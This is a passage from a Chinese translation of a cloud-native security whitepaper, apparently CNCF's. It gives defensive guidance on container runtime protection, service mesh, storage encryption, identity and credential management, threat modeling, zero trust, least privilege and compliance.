&lt;p&gt;使用外部秘密管理器可以限制使用未加密的 Secret 的风险，并降低密钥管理工作的复杂性。多数情况下，这些工具会以 &lt;code&gt;controller&lt;/code&gt; 或者 &lt;code&gt;operator&lt;/code&gt; 的形式运行，从而在运行时透明地进行注入或者证书翻转。&lt;/p&gt;

&lt;h4 id=&#34;容器&#34;&gt;容器&lt;/h4&gt;

&lt;h5 id=&#34;运行时-1&#34;&gt;运行时&lt;/h5&gt;

&lt;p&gt;容器运行时的监控和保护，需要从进程、文件和网络的角度入手。容器中只能使用被许可的 Capability 和系统调用（如 seccomp）。对于关键挂载点和文件的更改需要被监控和阻止。对二进制文件、证书和远程访问配置的更改需要被制止，还应保证容器仅执行允许范围内的网络访问。此外，还应检测并拒绝指向恶意域的网络流量。&lt;/p&gt;

&lt;h5 id=&#34;微服务以及杜绝隐式信任&#34;&gt;微服务以及杜绝隐式信任&lt;/h5&gt;

&lt;p&gt;微服务方式部署的容器化应用，其边界就是微服务本身。因此定义策略限制特定微服务之间的通信是有必要的。0 信任微服务架构能够在微服务受到威胁时，禁止横向移动，减少威胁半径。运维人员应该确保使用网络策略之类的能力来对容器间通信进行限制，仅允许被授权的东西向访问流量。&lt;a href=&#34;https://csrc.nist.gov/publications/detail/sp/800-204/final&#34; target=&#34;_blank&#34;&gt;NIST SP 800-204&lt;/a&gt; 中做了一些微服务安全策略的工作，可以作为实现安全微服务架构的指南。&lt;/p&gt;

&lt;h5 id=&#34;镜像信任和内容保护&#34;&gt;镜像信任和内容保护&lt;/h5&gt;

&lt;p&gt;组织可以使用策略引擎仅允许运行保障被授权和签名的镜像，从而实现可信的可控的工作负载。另外加密容器允许对容器中的敏感代码、方法或者数据进行保护。&lt;/p&gt;

&lt;h4 id=&#34;服务网格&#34;&gt;服务网格&lt;/h4&gt;

&lt;p&gt;服务网格在服务之间进行连接，并在连接中加入了流量控制、服务发现、负载均衡、韧性、可观测性、安全性等额外能力。服务网格中的微服务无需在应用层次实现这些能力，开发者可以聚焦在业务逻辑的实现上。为了有效地确保云原生服务之间的通信安全，企业应该使用服务网格的动态数据加密来消除 Pod 之间和工作负载之间的隐式信任。试用服务网格还能够解决身份问题，（云原生环境下）3 层、4 层、IP 地址的认证都已经无法有效反应工作负载的身份。服务网格不但提供了网络侧的隔离和安全，还在网络层提供了重试、超时以及断路器等服务治理能力。服务网格在工作负载级别上提供的授权能够增强访问控制方面的安全性。&lt;/p&gt;

&lt;p&gt;服务网格能够减小云原生环境中的被攻击面积，并提供零信任应用网络所需的框架基础。&lt;/p&gt;

&lt;h4 id=&#34;运行时检测&#34;&gt;运行时检测&lt;/h4&gt;

&lt;p&gt;通过对已部署工作负载的监控，团队能够判断当前运行状态是否符合预期。组织应持续对环境进行安全扫描和监控，否则环境中的工作负载可能会变成攻击者的游乐场。使用工具对来自容器的系统调用和网络流量进行检测、跟踪、汇总和报告，来检测意外或者恶意行为。&lt;/p&gt;

&lt;p&gt;虽然回归测试和安全测试可以帮助防止已知的、预期的问题被部署到生产环境中，但是要阻止的不止这些。应该对工作负载进行动态扫描，以检测之前未知的恶意行为。例如在工作负载运行了 X 天之后，改写的 Sleep 命令从 etcd 进行数据渗透，这样的行为在大多数环境中都是预期之外，因此不包括在安全测试中。工作负载中的木马，可能存在时间或事件方式的延迟，只有通过与基线预期进行比较才能检测到，这通常是在彻底的活动和扫描监控中才能发现的。&lt;/p&gt;

&lt;h4 id=&#34;functions&#34;&gt;Functions&lt;/h4&gt;

&lt;p&gt;Serverless function 是很容易受到攻击的，必须进行适当的保护。限制进程只能执行白名单中的 Function，不允许进程更改关键系统挂载点等。&lt;/p&gt;

&lt;p&gt;Function 必须进行限制，仅允许访问特定服务，可以使用网络或者授权模型来完成这个限制。另外 Egress 网络必须进行监控，管理员通过监控来检测或阻止对 C&amp;amp;C（Command &amp;amp; Conrol）以及其它危险网域的访问。Ingress 网络的监控则可以检查和移除涉嫌渗透攻击的恶意流量和命令（例如 SQL 注入）。&lt;/p&gt;

&lt;p&gt;Serverless function 中，可供租户使用的控制措施相对有限。例如损坏的身份验证、不安全的依赖服务以及不安全的 API 集成都可能成为安全问题的根源。确定所有 Function 都在租户资源中，进行数据隔离都有助于解决这些问题，然而隔离环境可能因为资源受限造成性能受损。&lt;/p&gt;

&lt;h4 id=&#34;bootstrapping&#34;&gt;Bootstrapping&lt;/h4&gt;

&lt;p&gt;要对计算节点进行初始化，建立信任数据，然后才能保障工作负载和配置运行在正确的节点上。这个过程检查计算节点的物理和逻辑定位，并为其提供认证。一般来说，云供应商的供给过程会完成这个工作，也会依赖第三方进行信任的检查。&lt;/p&gt;

&lt;h3 id=&#34;存储&#34;&gt;存储&lt;/h3&gt;

&lt;p&gt;云原生存储涉及到很多技术，按照访问方式可以分为两类，一类是面向工作负载的存储（例如卷）包括块存储、文件系统等；另一类是通过 API 访问的存储，例如对象存储、键值存储和数据库。&lt;/p&gt;

&lt;p&gt;存储系统包含是数据访问界面，其中定义了应用或工作负载存储以及消费数据的接口，这个接口可以通过访问控制、认证、授权和加密传输等方式进行保护。&lt;/p&gt;

&lt;p&gt;存储系统还包含一个控制平面管理界面，它通常是一个受认证和 TLS 保护的 API，也可能有更细致的访问粒度。一般来说，控制界面只能由编排器或者服务管理员通过服务账号的方式来使用。&lt;/p&gt;

&lt;h5 id=&#34;存储栈&#34;&gt;存储栈&lt;/h5&gt;

&lt;p&gt;存储解决方案都由多层功能组成的，这些功能定义了数据的存储、检索、保护，及其与应用程序、编排器和/或操作系统的交互方式。每一层都有可能影响和冲击存储系统的安全性。一个常见的例子是将文件或块持久化到对象存储的文件系统。包括提供对外访问能力的顶层之内的每一层，都是需要一视同仁进行保护的。&lt;/p&gt;

&lt;h6 id=&#34;编排-1&#34;&gt;编排&lt;/h6&gt;

&lt;p&gt;大多数编排系统都会实现各种抽象和虚拟化层，其中可能包括文件系统（如绑定挂载）、卷管理器以及基于协调器策略的用户或组级别的权限应用。与容器化和微服务架构的许多组件一样，对卷和存储的保护始终依赖于其他能力。如果用户能够在编排器或容器运行时内将他们的权限升级到 root，他们就会在环境中造成破坏。零信任、最小权限和访问控制的实现和执行是成功保护云原生架构中存储安全的关键。&lt;/p&gt;

&lt;h6 id=&#34;系统拓扑和数据保护&#34;&gt;系统拓扑和数据保护&lt;/h6&gt;

&lt;p&gt;要保护数据访问路径，和保障分布式拓扑中跨节点通信安全性，关键在于理解系统的存储拓扑。&lt;/p&gt;

&lt;p&gt;常见的拓扑结构包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有计算节点访问中央存储服务的集中式模型&lt;/li&gt;
&lt;li&gt;将功能分布在多个节点上的分布式模型&lt;/li&gt;
&lt;li&gt;以及将应用和存储工作负载结合在同一节点上的超融合模型。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要根据系统的拓扑模型来选择特定的、分层的安全机制，来保护存储中的数据和在存储位置之间传输的数据。&lt;/p&gt;

&lt;p&gt;存储系统的关键功能就是为系统或服务中的持久化数据提供保护。这种保护首先通过向授权用户提供数据来实现，并应作为系统中的一个透明层存在。保护措施还可以包括奇偶校验或镜像、擦除码或复制等技术。接下来是针对完整性的保护，存储系统会在块、对象或文件中增加哈希和校验，主要是为了检测和恢复被破坏的数据，但也可以增加一层保护，防止数据被篡改。&lt;/p&gt;

&lt;h6 id=&#34;缓存&#34;&gt;缓存&lt;/h6&gt;

&lt;p&gt;缓存层，通常是完全独立的系统，是为了提高存储系统的性能，特别是文件系统、对象和数据库的性能而实施的。缓存层是数据层的前哨，因此同样需要应用适当的访问控制和安全策略，&lt;/p&gt;

&lt;h6 id=&#34;数据服务&#34;&gt;数据服务&lt;/h6&gt;

&lt;p&gt;存储系统通常会实现一些数据服务，一次提供额外的功能对核心存储功能进行补充，这些功能可以在堆栈的不同层实施，例如复制和快照（数据的时间点副本）。这些服务通常用于将数据副本移动到远程位置，必须确保相同的访问控制和安全策略也适用于远程位置的数据。&lt;/p&gt;

&lt;h6 id=&#34;物理和非易失性存储&#34;&gt;物理和非易失性存储&lt;/h6&gt;

&lt;p&gt;因为云原生功能可以在内部进行部署，云原生存储安全并不局限于虚拟的云原生架构。重要的是存储系统最终会将数据持久化在某种形式的物理存储层上，这种存储层一般是非易失性的。现代物理存储（如SSD）通常支持安全功能，例如根据 &lt;a href=&#34;https://trustedcomputinggroup.org/wp-content/uploads/TCG_Storage-Opal_SSC_v2.01_rev1.00.pdf&#34; target=&#34;_blank&#34;&gt;OPAL&lt;/a&gt; 标准进行自我加密，以及快速/安全擦除功能。当包含数据的设备需要离开安全的物理位置时（例如出现故障后要返回给厂商），安全擦除是很重要的。&lt;/p&gt;

&lt;h5 id=&#34;存储加密&#34;&gt;存储加密&lt;/h5&gt;

&lt;p&gt;存储系统可以提供数据加密，从而对数据进行保密。传输中或存储中的数据都可以实施加密，当使用存储系统时，应确保加密功能的实现是独立于应用的。&lt;/p&gt;

&lt;p&gt;加密是有计算开销的，因此会对性能产生影响，但许多系统上都有加速选项可以减少这一开销。在选择数据的加密种类时，要考虑数据路径、大小和访问频率，以及安全算法的法规要求或额外的安全保护措施需求。此外，团队在考虑架构的加密要求时，也同样应该缓存的加密问题。&lt;/p&gt;

&lt;p&gt;传输中的数据（网络中的数据）和静止中的数据（磁盘上的数据）都是加密保护的目标。存储客户端或存储服务器中都可以进行加密，加密的粒度将因系统而异（例如每卷、每组或全局密钥）。在许多系统中，传输中的数据是用 TLS 保护的（TLS 的额外好处是通过证书提供一个认证层[^8]。旧的协议（如 iSCSI）可能更难保证传输中的安全（尽管可以使用更复杂的解决方案，如 IPsec 或加密的VPN[^9]）。静止状态下的数据一般使用标准的对称加密算法（如 AES）进行保护，并可采用特定的加密模式（如针对块设备的 XTS）进行部署。&lt;/p&gt;

&lt;p&gt;加密功能通常依赖于和密钥管理系统的集成。&lt;/p&gt;

&lt;h5 id=&#34;持久卷保护&#34;&gt;持久卷保护&lt;/h5&gt;

&lt;p&gt;要确保只有授权的容器和工作负载才能访问卷，就需要对持久卷的访问进行保护。首要措施就是为命名空间定义信任边界，以隔离对卷的访问。使用安全策略阻止容器组访问工作节点加载的卷，并确保只有合适的工作节点能够访问卷。尤其需要注意的是，特权容器能够加载不同命名空间中的加载卷，所以需要其它措施来进行保护。&lt;/p&gt;

&lt;p&gt;指定卷的 UID 或 GID 仍然允许同一命名空间的容器访问，不会提供数据保护。NFSv3 会假设客户端已经进行了认证和授权，而不进行验证。在实施保护时，必须考虑认证和授权的发生点，以及是否存在该操作的验证。&lt;/p&gt;

&lt;h5 id=&#34;制品仓库&#34;&gt;制品仓库&lt;/h5&gt;

&lt;p&gt;制品库应该对 OCI 制品进行签署和核实。同样需要注意的是，缓存和发布工具也应该有这种能力，确保缓存层有能力检测篡改或者对数据集投毒的企图。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://bit.ly/cncf-storage-whitepaperV2&#34; target=&#34;_blank&#34;&gt;CNCF 存储白皮书&lt;/a&gt;提供了更多的云原生存储的概念、术语、使用模式等技术资料。&lt;/p&gt;

&lt;h3 id=&#34;访问&#34;&gt;访问&lt;/h3&gt;

&lt;h4 id=&#34;认证和访问管理&#34;&gt;认证和访问管理&lt;/h4&gt;

&lt;p&gt;一个面向云原生架构的全面的认证和访问管理（IAM）方案至少要提供服务认证能力。维护或者运营自建云、混合云的组织，需要进行用户和设备的身份管理。如果是多云环境中的应用和工作负载，身份联合是实现成功的关键因素。&lt;/p&gt;

&lt;p&gt;应用程序和工作负载应该显示地使用双向认证的方式进行授权。由于云计算的短暂性，密钥轮换和寿命需要频繁而短暂，以维持敏态和控制的需求，在凭证发生泄露时，其泄露半径也能得到有效控制。&lt;/p&gt;

&lt;p&gt;为了让客户端和服务器通过加密技术双向验证身份，所有的工作负载都必须利用相互/双向传输认证。&lt;/p&gt;

&lt;p&gt;认证和授权必须在环境内部和整个环境中独立确定（决定点）和执行（执行点）。理想情况下，应实时确认所有工作负载的安全操作，在可能的情况下验证更新的访问控制和文件权限，因为缓存可能允许未经授权的访问（例如访问被撤销未在缓存中进行验证）。工作负载的授权是根据属性和角色/权限分配给它们的。强烈建议组织同时使用基于属性的访问控制（ABAC）和基于角色的访问控制（RBAC），以便在所有环境中和整个工作负载生命周期中提供精细的授权执行。这样的态势可以实现深度防御，所有的工作负载都能够接受、消费和转发终端用户的身份进行上下文或动态授权。这可以通过使用身份文件和令牌来实现。如果不执行这一点，就会限制组织真正对系统对系统和服务对服务的调用进行最小权限]访问控制的能力。&lt;/p&gt;

&lt;p&gt;需要注意的是，在微服务的背景下，应用或服务身份也是至关重要的，应用的身份可能会被恶意服务欺骗和冒充。使用强认证系统和服务网格可以帮助克服这些问题。&lt;/p&gt;

&lt;p&gt;所有工作负载和集群的控制过程，不管是人还是非人。都需要进行认证，他们的行动必须根据控制策略，对每个请求的上下文、目的和输出进行评估。为了简化认证过程，可以和企业功能（如多因子认证）进行对接。必须通过本节提到的访问控制机制进行授权。&lt;/p&gt;

&lt;h4 id=&#34;凭据管理&#34;&gt;凭据管理&lt;/h4&gt;

&lt;h5 id=&#34;硬件安全模块-hsm&#34;&gt;硬件安全模块（HSM）&lt;/h5&gt;

&lt;p&gt;读者应该尽可能使用 HSM 这样的技术，用物理方式进行密钥保护。如果无法做到，则应该使用软件的证书管理器。&lt;/p&gt;

&lt;h5 id=&#34;凭据管理周期&#34;&gt;凭据管理周期&lt;/h5&gt;

&lt;p&gt;加密密钥数据应该由 HSM 或者基于软件的密钥管理系统生成。&lt;/p&gt;

&lt;p&gt;Secret 的有效期应该尽可能短，超过期限后即宣告失效。为了达成“短寿”目标，密钥的生成机制应该是高可用、高易用的。如果使用了长效的 Secret，则应建立相应的流程和指导，定期进行轮换或撤销，特别是在秘密意外泄露的情况下。所有秘密都必须通过安全的通信方式进行分发，并应得到与其保护的访问或数据水平相称的保护。&lt;/p&gt;

&lt;p&gt;在任何情况下，Secret 都应该在工作负载运行时通过非持久性的机制进行注入，这些内容不会在日志、审计、或者系统转储（例如环境变量）时泄露。&lt;/p&gt;

&lt;h4 id=&#34;可用性&#34;&gt;可用性&lt;/h4&gt;

&lt;h5 id=&#34;拒绝服务攻击和分布式拒绝服务攻击&#34;&gt;拒绝服务攻击和分布式拒绝服务攻击&lt;/h5&gt;

&lt;p&gt;云原生应用程序中的拒绝服务攻击是一种网络攻击。攻击者尝试破坏关键的云原生应用组件（例如微服务）、或者云原生应用赖以运行的编排层组件以及健康检测系统，让云原生服务无法正常提供服务。拒绝服务供给通常会通过项关键微服务或资源发起大量无效请求，引发系统过载的方式，来阻止系统的正常运行。&lt;/p&gt;

&lt;p&gt;典型的分布式拒绝服务攻击会包含大量的入站流量，对云原生应用或者其依赖的上游设施进行冲击，这些流量来自大量不同的源头，需要在攻击到达云原生应用之前识别和转移流量，来缓解攻击造成的损害。&lt;/p&gt;

&lt;h3 id=&#34;安全保障&#34;&gt;安全保障&lt;/h3&gt;

&lt;p&gt;从根本上来说，安全就是一个风险管理的过程，其目标是检测和解决系统风险。组织根据自身风险状况和容忍度来对系统进行持续加固，以期降低、转移或者消解风险。安全团队可以对组件进行评估，制定最小化、有弹性、功能正常的加固方案。例如团队决定更新基础镜像，应该对更新可能增加的额外端口、权限和软件包进行审查，接受、改变或进行限制。&lt;/p&gt;

&lt;p&gt;而合规原则是一种控制原则，用来确定或创建需求，并根据需求对系统进行评估。评估结果是二进制的（通过或失败），但可能包含第 1 类（假阳性）或第 2 类（假阴性）错误，应视作 CI/CD 管线的测试结果进行评估。因此，合规性和安全保证是相辅相成且无法互换的过程。合规系统不能保证安全，安全系统也不能保证合规。&lt;/p&gt;

&lt;h2 id=&#34;威胁建模&#34;&gt;威胁建模&lt;/h2&gt;

&lt;p&gt;对于采用云原生技术的组织来说，对风险进行识别，并对识别结果进行控制和消解的主要机制就是对应用、数据流、支持流程和基础设施进行威胁建模。实现这一目标的方法与典型的威胁建模差别很小。以下指南是对 &lt;a href=&#34;https://owasp.org/www-community/Threat_Modeling&#34; target=&#34;_blank&#34;&gt;OWASP 威胁建模法&lt;/a&gt;的改进，建议用于云原生环境。&lt;/p&gt;

&lt;h3 id=&#34;端到端架构&#34;&gt;端到端架构&lt;/h3&gt;

&lt;p&gt;如果对个人或组织的云原生架构有了清晰的认识，就应该对数据影响进行指导和分类。这有助于团队根据架构进行数据的分布和其他保护机制的建设。云原生架构不仅仅是针对核心组件的，还应该包含源码、存储等所有软件开发周期中的其它元素。在对威胁建模时，这些相关因素都应该考虑。&lt;/p&gt;

&lt;h3 id=&#34;威胁识别&#34;&gt;威胁识别&lt;/h3&gt;

&lt;p&gt;在考虑针对云原生能力特定的威胁时，建议采用成熟的、使用良好的模型，例如 &lt;a href=&#34;https://en.wikipedia.org/wiki/STRIDE_(security)&#34; target=&#34;_blank&#34;&gt;STRIDE&lt;/a&gt; 或者 &lt;a href=&#34;https://www.pluralsight.com/guides/cybersecurity-threat-modeling-with-octave&#34; target=&#34;_blank&#34;&gt;OCTAVE&lt;/a&gt;。云原生架构的常见威胁包括但不限于如下内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;通过社会工程方法窃取凭证，获取管理员身份。&lt;/li&gt;
&lt;li&gt;篡改 API 服务配置文件或者证书，导致 API Server 重启，或破坏 TLS 认证失败。&lt;/li&gt;
&lt;li&gt;禁用或配置错误的审计策略，导致对攻击行为缺乏证据支持。&lt;/li&gt;
&lt;li&gt;如果攻击者破坏了正在运行的工作负载，成功进行渗透之后，就有可能造成信息泄露。&lt;/li&gt;
&lt;li&gt;拒绝服务攻击能够导致没有资源限制的容器消耗整个节点的 CPU 和内存，导致节点离线。&lt;/li&gt;
&lt;li&gt;特权 Pod 或者缺乏限制的安全策略，可能导致特权提升的后果。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;云原生安全需要考虑的威胁者和已知的威胁模型是一致的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;内部恶意&lt;/li&gt;
&lt;li&gt;内部无意&lt;/li&gt;
&lt;li&gt;外部恶意&lt;/li&gt;
&lt;li&gt;外部无意&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;建议各组织利用 Cloud Native Landscape 的现有资源，获取有关云原生架构威胁的其他信息。&lt;/p&gt;

&lt;p&gt;利用管线和 IaC 可能对某些威胁产生消解作用，或降低其成功或发生的可能性。&lt;/p&gt;

&lt;p&gt;与任何云原生流程一样，迭代和反馈非常重要。在威胁建模的背景下，应重新评估现有的措施、机制和指标，判断其是否准确地反映了架构不断变化的运行状态。&lt;/p&gt;

&lt;h2 id=&#34;威胁情报&#34;&gt;威胁情报&lt;/h2&gt;

&lt;p&gt;从设计和目的来看，云原生应用是由多个动态组件组成的集合，这些组件包含第一方和第三方的代码和工具，这意味着必须跟进网络活动和云原生应用组件应用威胁情报。网络威胁情报是关于威胁和威胁行为者的信息，有助于缓解有害事件。云原生系统中的威胁情报将利用在网络或主机上观察到的指标，如IP地址、域名、URL和文件哈希，这些指标可用于协助识别威胁。行为指标，如威胁行为者的战术、技术和程序，也可用于识别云原生组件中的威胁行为者活动。&lt;a href=&#34;https://attack.mitre.org/matrices/enterprise/cloud/&#34; target=&#34;_blank&#34;&gt;MITRE ATT&amp;amp;CK 云框架&lt;/a&gt;包括可作为建立和验证可观察性的起点的云原生战术和技术。&lt;/p&gt;

&lt;h2 id=&#34;事件响应&#34;&gt;事件响应&lt;/h2&gt;

&lt;p&gt;如果组织机已经具备了事件响应和分流机制，关注点应该放在如何将既有机制应用到云原生工作负载的问题上，云原生工作负载在节点隔离（Pod 会在不同节点上漂移）、网络（IP 地址动态分配）和不可变性（对容器内文件系统的更改通常会在重启后丢失）方面和传统流程的假设很不一样。因此需要重新评估这些假设并根据需要更新应用或者更新应对流程。观察工具和取证工具需要了解云原生应用的特点（例如 Pod 和容器），以便管理或重建受损系统。在一些编排系统中，因为将工作负载视为无个性的不持久的，证据的获取可能比较困难。另外要提到的一点是，从头构建事件响应和分流机制是可行的，但是不在本文范围之内。&lt;/p&gt;

&lt;h2 id=&#34;安全堆栈&#34;&gt;安全堆栈&lt;/h2&gt;

&lt;h3 id=&#34;环境&#34;&gt;环境&lt;/h3&gt;

&lt;h4 id=&#34;预检安全工具&#34;&gt;预检安全工具&lt;/h4&gt;

&lt;p&gt;环境预检安全工具应最大限度地进行加固并确保遵守安全方面的最佳实践，同时最大限度地减少与托管环境、网络和协调层有关的权限。工具还应该确保合规性不会在运行时被破坏。&lt;/p&gt;

&lt;h5 id=&#34;计算和节点检查&#34;&gt;计算和节点检查&lt;/h5&gt;

&lt;p&gt;应利用工具确保计算资源的加固和安全性，例如用主机漏洞扫描器和 CIS 基准扫描器进行检查，通过后才能将资源标记为可以交付。&lt;/p&gt;

&lt;h5 id=&#34;运行上下文&#34;&gt;运行上下文&lt;/h5&gt;

&lt;p&gt;覆盖预检安全的工具适合作为 CI 管线的一部分，对文件、制品（例如容器）和 IaC 进行扫描。CD 管线中运行的安全工具更适合在特定上下文的特定配置中运行。&lt;/p&gt;

&lt;h4 id=&#34;运行中的安全工具&#34;&gt;运行中的安全工具&lt;/h4&gt;

&lt;h5 id=&#34;工作负载和运行时安全&#34;&gt;工作负载和运行时安全&lt;/h5&gt;

&lt;p&gt;运行时安全工具可以分为四个关键的保护区域：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;进程、容器或者系统层的安全&lt;/li&gt;
&lt;li&gt;网络安全&lt;/li&gt;
&lt;li&gt;数据安全&lt;/li&gt;
&lt;li&gt;应用安全&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每个保护区域都可以使用多种工具。策略引擎可以执行手动编写或者基于推荐系统的策略。策略一旦投入使用，这些工具将提供可预测的结果，并且可以在仅做监视、或者强制模式下使用策略。&lt;/p&gt;

&lt;p&gt;威胁和漏洞信息可以让安全工具能够拦截来自未知威胁和已识别威胁的异常行为和安全事件。 这些信息通常会定期更新。 这些信息不但能够补充策略引擎的能力，还能实现为一个覆盖更大领域的防御工具。团队应该关注网络威胁情报中已知的 C&amp;amp;C 服务器、挖矿域名、恶意软件校验和等信息，从而有目的的更新策略工具。&lt;/p&gt;

&lt;p&gt;尽管现有工具可以提供机制来管理由误报和误报问题产生的噪声并处理已知威胁，并使用策略驱动的防护来规范操作，但基于机器学习（ML）的安全工具提供了已知和未知威胁的检测层，超出了可预测工具可以建立的范围。 例如，对基于身份的授权日志进行基于行为的分析，以检测内部威胁和破坏，或者对编排器审计日志进行自适应分析，以检测服务帐户的试探和盗用行为。 机器学习驱动的主机系统调用模式分析可用于检测容器逃逸尝试，或主机爆破尝试。&lt;/p&gt;

&lt;p&gt;用于监控和跟踪云原生编排器的安全工具通常以特定领域的商业产品的形式提供，其中会包含跨越多个领域的强大功能，例如策略控制、合规检查、基于 AI/ML 的异常检测和良好的集成接口。&lt;/p&gt;

&lt;p&gt;和工作负载一样，用云原生方式实现的用于监视，报告或控制环境安全性的工具会更加便于使用，管理和部署。&lt;/p&gt;

&lt;h3 id=&#34;零信任架构&#34;&gt;零信任架构&lt;/h3&gt;

&lt;p&gt;零信任架构通过细粒度拆分、微边界的架构，并通过执行策略限制消除数据、资产、应用程序和服务的隐式信任，从而减轻了网络威胁横向扩散的可能性。零信任架构的最常见实现方法是依赖于加密概念的。首先要用硬件或者令牌来保护特定的密钥信息，并且能够用安全的方式和平台进行通信。&lt;/p&gt;

&lt;p&gt;零信任架构通常由几个部分组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;每个实体都能创建自己的标识&lt;/li&gt;
&lt;li&gt;每个实体都能独立地认证其它实体（例如用公钥体系）&lt;/li&gt;
&lt;li&gt;实体之间的通信是加密且不可篡改的&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;零信任架构以信任根来创建零信任的各个组成部分：给实体或者进程绑定防篡改的信任能力，构成框架的基础成员。 然后需要实现自证、验证、和证明实体身份的能力。例如对于容器服务的来说，如何检查该容器是否是它声称的身份？ 这需要使用编排器进行验证，但是要信任编排器，我们需要确保其不受干扰地运行，只有它在运行受信任的操作系统和 BIOS 等基础设施上的时候，才能确保这一点。这实际上也是一个信任链条。&lt;/p&gt;

&lt;p&gt;零信任架构也需要实体之间的通信安全。网络分段能为零信任架构提供帮助，值得考虑，但这并不能覆盖零信任的需求。编排器的网络策略以及服务网格都是全面的零信任方案组件。网上有更多零信任相关概念的相关信息。&lt;/p&gt;

&lt;h3 id=&#34;最小权限&#34;&gt;最小权限&lt;/h3&gt;

&lt;p&gt;最小权限原则非常重要，某种程度上说，是云原生架构中最重要的一方面，这个技术栈的所有层面在进行认证和授权的设计实现过程中，都需要考虑这个原则。传统的最小权限原则是在账户层考虑的，这个账户可能是人，也可能是服务。&lt;/p&gt;

&lt;p&gt;云原生环境中，应该在堆栈的每个层次使用最小权限原则。在评估负责每个层次的工具时，也应该考虑到这一点。在探索各种产品和能力时，会发现很多容器缺省就是特权模式的，或者是要求 root 权限进行运维的。因此可能需要一些额外的隔离措施来运行这些特权负载。组织需要考虑对不同特权的领域进行隔离，在工作负载和部署中采用最小权限模式，可能包括从 cgroup 和系统调用，到制品管理和非 root 构建等多个方面。&lt;/p&gt;

&lt;p&gt;为了持续减少潜在的攻击面积和和控制影响范围，组织需要在其架构的每一个层次上实施最低权限原则。这不仅适用于在其角色中执行各种功能的个人，也适用于在特定环境中执行的服务和工作负载。无根服务和容器对于确保如果攻击者确实进入组织的环境，他们不能轻易地在他们获得访问权的容器和底层主机或其他主机上的容器之间进行穿越至关重要。&lt;/p&gt;

&lt;p&gt;强制性访问控制（MAC，例如如 SELinux 和 AppArmor）可以限制超出为容器或命名空间设置的权限，并在主机级别提供额外的容器隔离，以防止容器越狱或从一个容器转向另一个容器以升级，得到超出现有访问控制所允许的权限。&lt;/p&gt;

&lt;h3 id=&#34;角色和责任&#34;&gt;角色和责任&lt;/h3&gt;

&lt;p&gt;在转向云原生架构和部署时，组织应该对传统安全角色和责任进行调整，并创建云原生特有的新安全角色。随着现代开发方法论的快速发展，以及 IT 活动与业务需求的更好结合，安全工作必须具有适应性、具备应对实际风险相匹配的能力和透明性。期望开发人员和运维人员成为安全专家是不合理的。安全从业人员需要与开发、运维和其他项目角色合作，使安全和合规性的执行和开发生命周期充分结合。开发人员使用的工具就能实时报告发现（安全）问题，并像处理构建失败一样去解决问题。&lt;/p&gt;

&lt;p&gt;在云原生环境中管理安全性时，在 DevOps 环境中经常出现界限模糊的情况，这里还是应该进行明确的职责分离（SoD）。尽管开发人员将更多地参与实施和执行安全措施，但他们无需设置策略，也不必了解角色所不需要的区域等。应根据组织的风险承受能力和业务实践，在角色之间、产品之间和应用团队之间进行职责分离。可以理解，小组织中的个人会履行许多职责以保持业务蓬勃发展时，这种分拆可能很困难。然而，随着组织的不断发展，个人的认知也会发生变化，实施不同角色的权限让个人能够发挥独特作用，也有助于执行 SoD。最终将重组角色重新分配给新的成员，但是不会为新角色增加范围。&lt;/p&gt;

&lt;p&gt;随着产品和服务迁移上云，组织将需要重新评估其资产风险。 随着使用中的技术及其部署堆栈的所有权和管理方面的变化，管理人员会面临风险态势的急剧变化。资源提供者和团队之间的共同责任将要求更改风险接受、转移和新的缓解机制的阈值。&lt;/p&gt;

&lt;h3 id=&#34;合规&#34;&gt;合规&lt;/h3&gt;

&lt;p&gt;系统应当具备一定安全控制措施，能够应对监管和合规性指导，让云原生资源更加安全。这样做还可能使相关监管机构和审计人员的工作过程变得更加方便，系统甚至可以通过设计和规划，最终使用插件模式实现对各种监管机构的自动合规。虽然合规性通常需要利用安全基准来提高安全性和配置管理的执行力，如 CIS 基准，还是建议使用机器可读的合规性控制框架和语言。&lt;/p&gt;

&lt;h2 id=&#34;监管审计&#34;&gt;监管审计&lt;/h2&gt;

&lt;p&gt;金融、卫生、政府等行业需要遵守特定的要求来进行系统保护。用户信任这些系统和他们的交互是安全的和私密的。每个组织都应该评估适用于自己的监管标准（例如 PCI-DSS、HIPAA、FedRAMP、GDPR 等），然后要确定如何把具体需求落地到自己的云原生系统之中，以及如何在现实世界中实施这些标准。这种支持特定标准的证据收集机制应该尽量通过不可抵赖性的环节来实现自动化。&lt;/p&gt;

&lt;h3 id=&#34;角色和用例&#34;&gt;角色和用例&lt;/h3&gt;

&lt;p&gt;重点是安全、保护、检测和尽可能的自动响应。它不一定是单独的开发工具，而是透明地集成到开发流程中的安全工具，以执行安全策略，在此过程中可以进行快速反馈和最直接的补救行动。有关云原生安全用例的具体信息，请参考 [SIG-Security 的用例列表]（&lt;a href=&#34;https://github.com/cncf/sig-security/blob/master/usecases.md）。&#34; target=&#34;_blank&#34;&gt;https://github.com/cncf/sig-security/blob/master/usecases.md）。&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;业界&#34;&gt;业界&lt;/h2&gt;

&lt;h3 id=&#34;企业&#34;&gt;企业&lt;/h3&gt;

&lt;p&gt;企业采用云原生模式的核心关注点是：在满足业务目标的同时，保持当前的流程和程序。当整个组织引入新的标准和实践时，将互操作性、数据丢失或泄漏以及安全风险暴露保持在最低限度。&lt;/p&gt;

&lt;h3 id=&#34;微型企业&#34;&gt;微型企业&lt;/h3&gt;

&lt;p&gt;小企业采用云原生模式的核心关注点在于能否专注于短期目标，能否促进创新以应对激烈的竞争。资源、预算、技术深度和最佳实践的缺乏阻碍了他们适应云原生解决方案的能力。小企业需要可重复的模式和小规模的 IT 足迹来解决这些挑战。&lt;/p&gt;

&lt;h3 id=&#34;金融&#34;&gt;金融&lt;/h3&gt;

&lt;p&gt;金融行业关注的核心领域是未经授权的信息披露、欺诈和资金可用性，这对成功采用云原生技术至关重要。欺诈会直接影响资金的可用性，因此金融交易的完整性是头等大事。&lt;/p&gt;

